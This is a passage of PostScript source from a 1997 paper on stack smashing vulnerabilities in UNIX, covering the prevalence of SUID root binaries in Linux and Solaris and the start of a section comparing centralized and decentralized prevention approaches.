0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 16.400 0 32 -0.400 0 (e )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 16.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 17.000 0 32 (d on )W 0.200 0 (t)A (h)S 17.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 17.000 0 32 (. )W -0.200 0 (A)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3290 M 0.100 0 (s)A (ub)S 0.200 0 (tl)A 5.400 0 32 -0.400 0 (e )D (b)S -3.000 0 (y)A 0.200 0 (t)A 5.400 0 32 -0.400 0 (e c)D (op)S -3.000 0 (y)A 0.200 0 (i)A (n)S 6.000 0 32 -1.000 0 (g )D -0.400 0 (e)A -0.300 0 (rr)A (o)S 6.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 6.000 0 32 (n )W -0.400 0 (a)A (n)S 9.000 0 32 -3.000 0 (y )D (on)S 6.400 0 32 -0.400 0 (e )D (o)S 6.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e a)D (bov)S 6.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 5.900 0 32 0.100 0 (s )D -0.400 0 (c)A (ou)S 0.200 0 (l)A 6.000 0 32 (d )W -0.400 0 (a)A 0.200 0 (ll)A (o)S 6.200 0 32 -0.200 0 (w )D -0.300 0 (f)A (o)S 6.300 0 32 -0.300 0 (r )D 6.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 6.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3467 M (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A -3.000 0 (y)A 3.000 0 32 (. )W 0.300 0 (C)A (o)S 0.200 0 (m)A (p)S -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A -3.000 0 (y)A 3.000 0 32 (, )W -2.300 0 (I)A 3.000 0 32 (n )W 3.400 0 32 -0.400 0 (a )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 3.000 0 32 (on o)W 3.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D 0.400 0 (S)A (o)S 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A 2.900 0 32 0.100 0 (s )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 5.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 4.000 0 32 (, )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S 1.000 0 (x)A 0.200 0 (im)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (l)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3644 M 26.000 0 32 (67 )W 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 26.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 25.800 0 32 0.200 0 (t )D -0.200 0 (w)A (o)S -0.300 0 (r)A 0.200 0 (l)A (d)S -0.300 0 (-)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 26.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 26.900 0 32 0.100 0 (s )D 27.000 0 32 (on )W 0.200 0 (t)A (h)S 27.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 26.800 0 32 0.200 0 (m i)D 27.000 0 32 (n )W 0.200 0 (t)A (o)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (l)A ; : 3317 3628 1566 76 rc 0 0 0 sco F2_67 Ji 3390 3628 M 0.500 0 (12)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3458 3644 M 27.000 0 32 (. )W -0.200 0 (A)A 26.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 27.000 0 32 (h )W 0.200 0 (t)A (h)S 27.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 (x)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3821 M (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 15.000 0 32 (on, )W -0.400 0 (a)A 15.000 0 32 (n )W -0.400 0 (e)A -0.300 0 (rr)A (o)S 15.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 16.000 0 32 (n )W 0.200 0 (t)A (h)S 16.400 0 32 -0.400 0 (e c)D (od)S 0.200 0 (i)A (n)S 17.000 0 32 -1.000 0 (g )D 0.200 0 (t)A 16.000 0 32 (o h)W -0.400 0 (a)A (nd)S 0.200 0 (l)A 16.400 0 32 -0.400 0 (e )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 16.400 0 32 -0.400 0 (c )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S 17.000 0 32 -1.000 0 (g )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 15.900 0 32 0.100 0 (s )D 0.200 0 (i)A 16.000 0 32 (n )W -0.400 0 (a)A (n)S 19.000 0 32 -3.000 0 (y )D (on)S 16.400 0 32 -0.400 0 (e )D (o)S 16.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3998 M -0.146 0 (system binaries could allow for a stack smashing vulnerability.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4175 M -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 6.000 0 32 1.000 0 (x )D -0.400 0 (a)A 7.000 0 32 (nd )W 0.400 0 (S)A (o)S 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A 6.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A 7.000 0 32 (, on)W 7.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A 10.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (on)S -0.400 0 (c)A 0.200 0 (l)A (ud)S 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 7.800 0 32 0.200 0 (t )D 8.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A (n)S 7.800 0 32 0.200 0 (t )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4352 M 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 12.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 11.800 0 32 0.200 0 (t )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 11.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 11.800 0 32 0.200 0 (t i)D 12.000 0 32 (n )W 0.200 0 (t)A (h)S 12.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -3.000 0 (y)A (p)S 0.200 0 (i)A -0.400 0 (ca)A 12.800 0 32 0.200 0 (l )D -0.200 0 (UN)A -2.300 0 (I)A 13.200 0 32 -0.200 0 (X )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 13.000 0 32 (on. )W -0.200 0 (A)A (n)S 16.000 0 32 -3.000 0 (y )D (on)S 13.400 0 32 -0.400 0 (e )D (o)S 13.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 13.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 12.900 0 32 0.100 0 (s )D -0.400 0 (ca)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4529 M (b)S -0.400 0 (ec)A (o)S 0.200 0 (m)A 28.400 0 32 -0.400 0 (e a )D 0.200 0 (t)A -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A 27.800 0 32 0.200 0 (t )D -0.300 0 (f)A (o)S 28.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 28.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 28.000 0 32 (, )W 0.200 0 (t)A (hu)S 0.100 0 (s)A 28.000 0 32 (, p)W -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (e)A (n)S 0.200 0 (ti)A 29.000 0 32 (on )W -0.400 0 (a)A 29.000 0 32 (nd p)W -0.300 0 (r)A (o)S 0.200 0 (t)A -0.400 0 (ec)A 0.200 0 (ti)A 29.000 0 32 (on o)W 29.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 29.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 28.900 0 32 0.100 0 (s )D 0.200 0 (i)A 28.900 0 32 0.100 0 (s )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4706 M -0.360 0 (necessity.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 4885 M 0.042 0 (11. Stack Smashing Prevention)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5119 M 3.200 0 32 -0.200 0 (A )D -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 4.000 0 32 (d o)W 4.300 0 32 -0.300 0 (r )D (d)S -0.400 0 (ece)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 4.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 4.000 0 32 (h )W -0.400 0 (ca)A 4.000 0 32 (n b)W 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (a)A (k)S -0.400 0 (e)A 4.000 0 32 (n )W 0.200 0 (t)A 4.000 0 32 (o )W -0.400 0 (a)A (vo)S 0.200 0 (i)A 4.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5296 M (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 37.000 0 32 (. )W -0.100 0 (T)A 37.000 0 32 (o do )W 0.100 0 (s)A 37.000 0 32 (o, )W -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 36.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 36.800 0 32 0.200 0 (t )D (b)S 37.400 0 32 -0.400 0 (e )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A 37.000 0 32 (d )W 0.200 0 (i)A 38.000 0 32 (n )W 0.200 0 (t)A (h)S 38.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 38.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A ; : 522 5486 2880 94 rc 0 0 0 sco F2_83 Ji 612 5486 M 0.250 0 ( )A ; : 1152 5486 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5486 M 0.250 0 ( )A ; 612 5539 N M 1200 4 rr : 0 0 0 sco O ; : 0 0 4883 6391 rc 0 0 0 sco (F2_42) cvn F2 42 xF F2_42 Ji 612 5582 M (11)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5587 M 0.161 0 ( Complete listing is available in Appendix B)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_42 Ji 612 5682 M (12)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 654 5687 M 0.235 0 ( This specific machine has 67, however an \221out of the box\222 distribution may have slightly more or less)A ; LH savelevel1 restore pagesave restore (%%[ Page: 20 ]%%) = %%PageTrailer %%Page: 21 21 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (21)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (m)A 0.100 0 (s)A -0.400 0 (e)A 0.200 0 (l)A (v)S -0.400 0 (e)A 0.100 0 (s)A 6.000 0 32 (, )W 0.200 0 (i)A 6.000 0 32 (n )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D 6.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 7.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 7.000 0 32 (, o)W 7.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 7.000 0 32 (n )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 8.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 6.800 0 32 0.200 0 (m )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A 7.000 0 32 (. )W -0.200 0 (A)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 19.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 19.000 0 32 (h )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 18.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A 19.000 0 32 (on o)W 19.300 0 32 -0.300 0 (f )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 18.800 0 32 0.200 0 (m li)D (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 18.900 0 32 0.100 0 (s )D -0.400 0 (a)A (nd)S 0.200 0 (/)A (o)S 19.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 20.000 0 32 (n op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 21.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A -0.200 0 32 0.200 0 (l )D -0.200 0 (w)A (h)S 0.200 0 (il)A 0.400 0 32 -0.400 0 (e a )D (d)S -0.400 0 (ece)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A (d )S -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A (h )S 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A -0.100 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on o)S 1.300 0 32 -0.300 0 (f )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 1.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.900 0 32 0.100 0 (s )D -0.400 0 (a)A (nd)S 0.200 0 (/)A (o)S -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M 2.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 4.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 3.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 3.000 0 32 (. )W -0.200 0 (O)A 4.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.200 0 (w)A 4.000 0 32 (o b)W -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (i)A 4.400 0 32 -0.400 0 (c a)D (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A (h)S -0.400 0 (e)A 0.100 0 (s)A 4.000 0 32 (, )W 4.400 0 32 -0.400 0 (a )D (d)S -0.400 0 (ece)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 4.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 0.200 0 (m)A (o)S -0.300 0 (r)A 11.400 0 32 -0.400 0 (e )D 0.200 0 (imm)A -0.400 0 (e)A (d)S 0.200 0 (i)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (l)A 14.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A (p)S -0.400 0 (e)A (n)S 0.100 0 (s)A 0.200 0 (i)A (v)S 11.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 0.200 0 (it)A 11.000 0 32 (h )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (p)S -0.400 0 (ec)A 10.800 0 32 0.200 0 (t t)D 11.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (a)A (npo)S -0.200 0 (w)A -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 11.000 0 32 (nd )W -0.200 0 (w)A (o)S -0.300 0 (r)A (k)S 0.200 0 (l)A (o)S -0.400 0 (a)A 11.000 0 32 (d, bu)W 10.800 0 32 0.200 0 (t )D -0.400 0 (c)A (h)S -0.400 0 (ea)A (p)S -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 12.000 0 32 (n )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M 0.200 0 (l)A (on)S 10.000 0 32 -1.000 0 (g )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 8.800 0 32 0.200 0 (m )D (p)S -0.300 0 (r)A (ov)S 0.200 0 (i)A (d)S 0.200 0 (i)A (n)S 11.000 0 32 -1.000 0 (g )D 10.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 10.000 0 32 (, )W 0.200 0 (l)A (on)S 11.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (ti)A (n)S 11.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (o)S 0.200 0 (l)A (u)S 0.200 0 (ti)A 10.000 0 32 (on. )W 10.200 0 32 -0.200 0 (A )D -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 10.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 10.000 0 32 (h )W 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ea)A (p)S -0.400 0 (e)A 10.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 10.000 0 32 (n )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M 0.100 0 (s)A (ho)S -0.300 0 (r)A 2.800 0 32 0.200 0 (t t)D -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 4.000 0 32 (, )W -0.200 0 (w)A 0.200 0 (it)A 4.000 0 32 (h )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (p)S -0.400 0 (ec)A 3.800 0 32 0.200 0 (t t)D 4.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (a)A (npo)S -0.200 0 (w)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 4.000 0 32 (nd )W -0.200 0 (w)A (o)S -0.300 0 (r)A (k)S 0.200 0 (l)A (o)S -0.400 0 (a)A 4.000 0 32 (d, bu)W 3.800 0 32 0.200 0 (t i)D 3.900 0 32 0.100 0 (s )D (n)S -0.400 0 (ea)A 4.300 0 32 -0.300 0 (r )D 0.200 0 (im)A (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 4.000 0 32 (o )W 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 3.800 0 32 0.200 0 (t )D -0.400 0 (a)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M -0.021 0 (long term solution.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 1921 M 0.060 0 (11.1 Program modification)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2126 M -0.100 0 (T)A 16.000 0 32 (o )W -0.400 0 (e)A -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A 19.000 0 32 -3.000 0 (y )D -0.300 0 (f)A 0.200 0 (i)A 15.000 0 32 1.000 0 (x )D (d)S -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S 17.400 0 32 -0.400 0 (e )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 17.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 16.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 17.000 0 32 (, )W 17.400 0 32 -0.400 0 (a )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 17.300 0 32 -0.300 0 (r )D (o)S 17.300 0 32 -0.300 0 (f )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on)S 16.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 17.000 0 32 (n b)W -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2303 M 0.200 0 (m)A -0.400 0 (a)A (d)S 6.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 6.000 0 32 (o )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A -0.300 0 (\222)A 5.900 0 32 0.100 0 (s s)D (ou)S -0.300 0 (r)A 6.400 0 32 -0.400 0 (ce c)D (od)S 6.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 6.000 0 32 (o )W -0.400 0 (a)A (vo)S 0.200 0 (i)A 6.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 6.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 6.000 0 32 (. )W 7.000 0 32 ( )W 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 7.000 0 32 (d )W 6.700 0 32 0.300 0 (C )D (b)S -3.000 0 (y)A 0.200 0 (t)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2480 M -0.400 0 (c)A (op)S 10.000 0 32 -3.000 0 (y )D (o)S 7.300 0 32 -0.300 0 (r )D -0.400 0 (c)A (on)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A (n)S -0.400 0 (a)A 0.200 0 (ti)A 7.000 0 32 (on )W -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 6.900 0 32 0.100 0 (s )D 